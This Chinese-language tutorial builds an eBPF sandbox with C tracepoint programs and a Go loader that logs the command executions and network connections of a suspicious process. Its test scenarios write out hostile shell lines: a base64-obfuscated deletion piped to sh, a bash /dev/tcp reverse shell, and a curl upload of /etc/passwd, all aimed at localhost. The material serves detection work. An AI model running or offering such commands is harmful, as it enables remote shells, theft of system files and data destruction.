0x00 关于eBPF
eBPF是BPF技术的一个扩展,而BPF (Berkeley Packet Filter) 是一种内核技术,最初用于高效过滤网络数据包。它可以让操作系统内核从用户空间接收过滤规则,从而仅捕获和处理特定的网络数据包,减少了用户空间和内核空间之间不必要的数据传输。eBPF 作为扩展版本,具有更强大的功能和应用范围,不仅可以实现 BPF 的网络数据包过滤功能,还可以将用户代码在 Linux 内核的不同地方动态加载和运行,而无需更改内核源代码或加载新的内核模块。对于web师傅如果熟悉java的agent功能则可以将它初步理解为一个java的agent,他们实现了类似的功能,javaagent针对的是jvm,而ebpf则针对Linux内核进行hook。
eBPF发展到现在已经有了比较好的生态,可以使用Python、Go等高级语言来编写用户态代码,使开发难度有所降低,本文将使用Go语言来编写用户态程序,设计一个可以监控恶意程序行为的沙箱,由于监测程序的命令执行和网络请求。
0x01 环境准备
-
建议使用Linux 5.7 或更高版本,用于支持 bpf_link 功能 -
安装clang、llvm-strip(11版本或者更高)和libbpf headers,用于编译eBPF程序
debian系安装命令:
apt install clang llvm libbpf-dev -y
0x02 编写eBPF程序
让eBPF运行起来需要编写在内核中运行的eBPF programs以及用于将eBPF programs加载到内核和处理eBPF programs返回数据的用户态程序,我们想要的效果是可以在运行某个可疑程序后监控它的一些恶意行为。
我们可以在https://github.com/cilium/ebpf/tree/main/examples 看到各个hooks的示例程序,我们需要选择一个合适的hook钩子来编写对应的二BPF程序。由于我们要做的是监控程序的某些行为,tracepoint是一个非常合适的钩子,它是内核中预定义的探测点,提供了一种比kprobes更加稳定的方式来追踪内核中的事件,且比kprobes更节约性能。
定义事件结构体
在编写eBPF时需要定义一个对应事件的结构体,用于handler方法接收事件参数,这些事件的结构可以在/sys/kernel/tracing/events/目录下查看对应事件的format文件。例如,本文需要实现的命令执行和网络请求监控,则分别在/sys/kernel/tracing/events/syscalls/sys_enter_execve/format和/sys/kernel/tracing/events/syscalls/sys_enter_connect/format中查看事件格式,会得到类似以下的内容:
而在C中则可以定义为结构体:
struct cmd_info {
unsigned short common_type;
unsigned char common_flags;
unsigned char common_preempt_count;
int common_pid;
int __syscall_nr;
const char * filename;
const char *const * argv;
const char *const * envp;
};
如果需要监测其它事件则使用一样的方法来定义结构体即可。有了某个事件的结构体,我们还需要定义一个maps,它是内核和用户态程序交互数据的关键:
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 1 << 24);
} events SEC(".maps");
然后再定义一个内核向用户态程序传输事件的结构体,由于本文只需要监控命令执行和网络连接,因此使用以下结构体即可:
struct event {
u32 type;
u32 host;
u16 port;
u8 filename[32];
u8 argv[5][32];
u32 pid;
};
加上命令执行和网络连接定义的结构体,我们就完成了所有结构体的定义。比较奇怪的是Linux里面定义的connect事件结构中的sockaddr和addrlen属性顺序位置相反了,不懂怎么回事,调换一下位置就正常了。
内核逻辑代码编写
有了结构体的定义,还需要编写handler函数来处理钩子获取的事件信息并且提交给用户态程序。对于命令执行事件我们需要获取PID(需要由于判断是否监测进程)、filename(被执行的命令)、argv(命令的参数),获取这些数据后处理为一个event
结构再调用bpf_ringbuf_submit提交事件给用户态程序即可:
SEC("tracepoint/syscalls/sys_enter_execve")
int sys_enter_execve(struct cmd_info *info) {
struct event *cmd_info;
cmd_info = bpf_ringbuf_reserve(&events, sizeof(struct event), 0);
if (!cmd_info) {
return 0;
}
bpf_probe_read_user_str(&cmd_info->filename, sizeof(cmd_info->filename), info->filename);
cmd_info->type = 1;
#pragma unroll
for (int i = 0; i < 5; i++) {
const char *argp = NULL;
bpf_probe_read_user(&argp, sizeof(argp), &info->argv[i]);
if (argp == NULL)
break;
bpf_probe_read_user_str(&cmd_info->argv[i], sizeof(cmd_info->argv[i]), argp);
}
cmd_info->pid = bpf_get_current_pid_tgid() >> 32;
bpf_ringbuf_submit(cmd_info, 0);
return 0;
}
网络连接事件handler也是类似,只是改为需要获取请求目标的IP和端口,加上网络连接事件handler就完成了eBPF程序的编写。
//go:build ignore
#include "common.h"
#include <linux/in.h>
#include "bpf_endian.h"
char __license[] SEC("license") = "Dual MIT/GPL";
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 1 << 24);
} events SEC(".maps");
struct cmd_info {
unsigned short common_type;
unsigned char common_flags;
unsigned char common_preempt_count;
int common_pid;
int __syscall_nr;
const char * filename;
const char *const * argv;
const char *const * envp;
};
struct net_info {
unsigned short common_type;
unsigned char common_flags;
unsigned char common_preempt_count;
int common_pid;
int __syscall_nr;
int fd;
int addrlen;
struct sockaddr * uservaddr;
};
struct event {
u32 type;
u32 host;
u16 port;
u8 filename[32];
u8 argv[5][32];
u32 pid;
};
struct event *unused_event __attribute__((unused));
SEC("tracepoint/syscalls/sys_enter_execve")
int sys_enter_execve(struct cmd_info *info) {
struct event *cmd_info;
cmd_info = bpf_ringbuf_reserve(&events, sizeof(struct event), 0);
if (!cmd_info) {
return 0;
}
bpf_probe_read_user_str(&cmd_info->filename, sizeof(cmd_info->filename), info->filename);
cmd_info->type = 1;
#pragma unroll
for (int i = 0; i < 5; i++) {
const char *argp = NULL;
bpf_probe_read_user(&argp, sizeof(argp), &info->argv[i]);
if (argp == NULL)
break;
bpf_probe_read_user_str(&cmd_info->argv[i], sizeof(cmd_info->argv[i]), argp);
}
cmd_info->pid = bpf_get_current_pid_tgid() >> 32;
bpf_ringbuf_submit(cmd_info, 0);
return 0;
}
SEC("tracepoint/syscalls/sys_enter_connect")
int sys_enter_connect(struct net_info *ctx) {
struct event *net_event_info;
net_event_info = bpf_ringbuf_reserve(&events, sizeof(struct event), 0);
if (!net_event_info) {
return 0;
}
net_event_info->pid = bpf_get_current_pid_tgid() >> 32;
net_event_info->type = 2;
bpf_get_current_comm(&net_event_info->filename, sizeof(net_event_info->filename));
struct sockaddr_in sa = {};
bpf_probe_read(&sa, sizeof(sa), (void *)ctx->uservaddr);
net_event_info->host = sa.sin_addr.s_addr;
net_event_info->port = bpf_ntohs(sa.sin_port);
bpf_ringbuf_submit(net_event_info, 0);
return 0;}
0x03 编写用户态程序
用户态程序需要编写的功能是将eBPF程序加载到内核中,并且处理eBPF程序提交的事件。我们使用cilium库来编写用户态程序,再编写前需要使用bpf2go来编译上面写的eBPF源代码,bpf2go不仅会把源代码进行编译,还会生成用户态程序所需要的结构体文件。在eBPF程序源代码所在目录下编写一个go文件在里面使用//go:generate注释:
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go -type event bpf ebpf源代码文件.c -- -I../headers -I/usr/include/x86_64-linux-gnu/
然后再执行命令go generate 即可:
使用生成的.go文件,就可以在ide里面进行用户态代码编写了。我编写的代码如下,可以完成基础的命令执行和网络监控:
package main
import (
"bytes"
"encoding/binary"
"errors"
"flag"
"fmt"
"github.com/cilium/ebpf/link"
"github.com/cilium/ebpf/ringbuf"
"github.com/cilium/ebpf/rlimit"
"golang.org/x/sys/unix"
"log"
"strconv"
"strings"
"sync"
)
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go -type event bpf tracepoint.c -- -I../headers -I/usr/include/x86_64-linux-gnu/
var start_name string
func init() {
flag.StringVar(&start_name, "c", "", "-c ./test_exe")
flag.Parse()
if len(start_name) < 1 {
panic("需要指定一个启动命令 -c")
}
}
var events map[string]bpfEvent
var target_pid int
var started sync.WaitGroup
func main() {
events = make(map[string]bpfEvent)
started.Add(1)
if err := rlimit.RemoveMemlock(); err != nil {
log.Fatal(err)
}
objs := bpfObjects{}
if err := loadBpfObjects(&objs, nil); err != nil {
log.Fatalf("loading objects: %v", err)
}
defer objs.Close()
kp, err := link.Tracepoint("syscalls", "sys_enter_execve", objs.SysEnterExecve, nil)
link.Tracepoint("syscalls", "sys_enter_connect", objs.SysEnterConnect, nil)
if err != nil {
log.Fatalf("opening tracepoint: %s", err)
}
defer kp.Close()
rd, err := ringbuf.NewReader(objs.bpfMaps.Events)
if err != nil {
log.Fatalf("opening ringbuf reader: %s", err)
}
defer rd.Close()
go readLoop(rd)
start_proc()
}
func start_proc() {
started.Wait()
target_pid = Start_ret_pid(start_name)
for i, event := range events {
Print_event(event, i)
}
}
func readLoop(rd *ringbuf.Reader) {
var event bpfEvent
var flag1 = 1
for {
record, err := rd.Read()
if err != nil {
if errors.Is(err, ringbuf.ErrClosed) {
return
}
continue
}
if err := binary.Read(bytes.NewBuffer(record.RawSample), binary.NativeEndian, &event); err != nil {
continue
}
Print_event(event, "")
if flag1 == 1 {
flag1 = 0
started.Done()
}
}
}
func Print_event(event bpfEvent, ppstr string) {
pid := int(event.Pid)
ppids, err := getAllParentPIDs(int32(pid))
if target_pid == 0 {
ppidstr := ""
for _, v := range ppids {
ppidstr += strconv.Itoa(int(v)) + "_"
}
events[ppidstr] = event
return
}
if len(ppstr) > 2 {
data := strings.Split(ppstr, "_")
for _, v := range data {
p, _ := strconv.Atoi(v)
ppids = append(ppids, int32(p))
}
}
for _, v := range ppids {
if int(v) == target_pid {
if event.Type == 1 {
argv := ""
for _, v1 := range event.Argv {
argv += " " + unix.ByteSliceToString(v1[:])
}
if err != nil {
return
}
log.Println("执行了:" + unix.ByteSliceToString(event.Filename[:]) + " 参数:" + argv + " 进程PID:" + strconv.Itoa(int(event.Pid)))
return
} else if event.Type == 2 {
ip := fmt.Sprintf("%d.%d.%d.%d",
byte(event.Host>>24), byte(event.Host>>16), byte(event.Host>>8), byte(event.Host))
log.Printf("%s发起了网络请求:%s:%d PID: %d", event.Filename, ip, int(event.Port), int(event.Pid))
return
}
}
}
}
编写好用户态代码后就可以编译使用了,使用go build命令即可编译go程序。
0x04 效果
加载eBPF程序后可以使用bpftool prog show命令来查看是否挂载成功:
场景1-混淆命令执行监控
混淆命令执行监控效果,假设恶意程序对执行的命令进行了混淆,监控程序仍然可以获取到程序最终执行的命令。
测试shell脚本:
echo cm0gLXJmIC90bXAveHh4eC8q|base64 -d|sh
场景2-反弹shell监控
当恶意程序进行了反弹shell操作,如以下shell脚本:
bash -c 'bash -i >&/dev/tcp/127.0.0.1/6666 0>&1'
则会获得一个bash发起网络请求的事件,/dev/tcp/是bash内部实现的逻辑路径,因此在使用到这个逻辑路径时则表现为bash程序发起了网络请求, 大概率为反弹shell操作导致。
场景3-文件外带监控
使用以下shell脚本:
bash -c 'bash -i >&/dev/tcp/127.0.0.1/6666 0>&1'curl -d @/etc/passwd http://127.0.0.1:8888
获得以下结果,可再结合常见外带工具、sys_enter_openat事件等组合判断是否有窃取敏感文件的行为。
eBPF是一个很强大的技术,还有很多攻防场景可以探索,如:利用eBPF来在Linux设置一个后门、监控用户输入,以及权限维持方面的利用。
原文始发于微信公众号(山石网科安全技术研究院):初探Linux内核eBPF之恶意程序行为监控